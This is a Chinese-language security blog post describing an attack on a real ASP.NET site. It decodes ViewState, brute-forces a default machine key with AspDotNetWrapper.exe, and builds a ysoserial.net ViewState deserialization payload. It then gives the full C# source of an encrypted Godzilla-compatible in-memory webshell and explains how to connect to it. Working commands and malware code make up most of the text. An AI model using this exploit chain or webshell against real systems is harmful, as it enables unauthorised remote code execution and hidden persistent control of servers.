.NET系统|看我如何一步到位注入内存马
2023-12-20 20:52:52 Author: 轩公子谈技术(查看原文) 阅读量:11 收藏

点击上方蓝字关注我们

01

前言

本次议题是上篇文章的补充,本来是想用靶场来搞一下,没想到,在项目中遇到了,通过真实场景来攻击,变得更有意思了。

打开链接,吆,aspx的(由于背景图和logo太明显了,f12去掉了背景图),瞬间感觉这个网站有漏洞。

查看源代码,刚好存在viewstate标志性的内容

01

复制数据到下面的解密网站

viewstatedecoder.azurewebsites.net

发现竟然可以解密,说明web.config可能没启用加密配置,可能用的是默认key

01

爆破key

于是构造poc,开始爆破密钥,爆破成功,发现默认key,具体参数就不解释了,可参考上篇教程

【这个key 就类似shiro中的key,发现后就能利用,发现不了就GG】

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDw== --decrypt --purpose=viewstate --modifier=C2EE9ABB --macdecode --TargetPagePath "./login.aspx" -f out.txt --IISDirPath="/"

01

执行rce 失败

发现key后,利用net版yso构造exp,使用cmd传参,猜测可能有拦截,于是注入内存马

01

内存马代码

class d{    public d()    {        System.Web.HttpContext Context = System.Web.HttpContext.Current;        Context.Server.ClearError();        Context.Response.Clear();        try        {            string key = "3c6e0b8a9c15224a";            string pass = "pas";            string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");            byte[] data = System.Convert.FromBase64String(Context.Request[pass]);            data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);            if (Context.Session["payload"] == null)            {                Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });            }            else            {                System.IO.MemoryStream outStream = new System.IO.MemoryStream();                object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");                o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString();                byte[] r = outStream.ToArray();                Context.Response.Write(md5.Substring(0, 16));                Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));            }        }        catch (System.Exception) { }        Context.Response.Flush();        Context.Response.End();    }}

01

生成加密数据

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "memshell.cs;./dlls/System.dll;./dlls/System.Web.dll" --generator="C2EE9ABB" --validationalg="SHA1" --validationkey="C50xxxxxxxxxxxxxxABE"

攻击成功,说明已经打进去了,路径的话就是/*

01

添加哥斯拉

请求配置,将下面的数据放到框里,最后的&符合加上去,不加连不上

__VIEWSTATE=&__VIEWSTATEGENERATOR=C2EE9ABB&


文章来源: http://mp.weixin.qq.com/s?__biz=MzU3MDg2NDI4OA==&mid=2247489684&idx=1&sn=6859e3e317a0c3bdef8f86e04db7568f&chksm=fdcb2da0a33da47befd25045013eea95e3615efc89e1a81a47f837e3bea53e0ad15e43a78a48&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh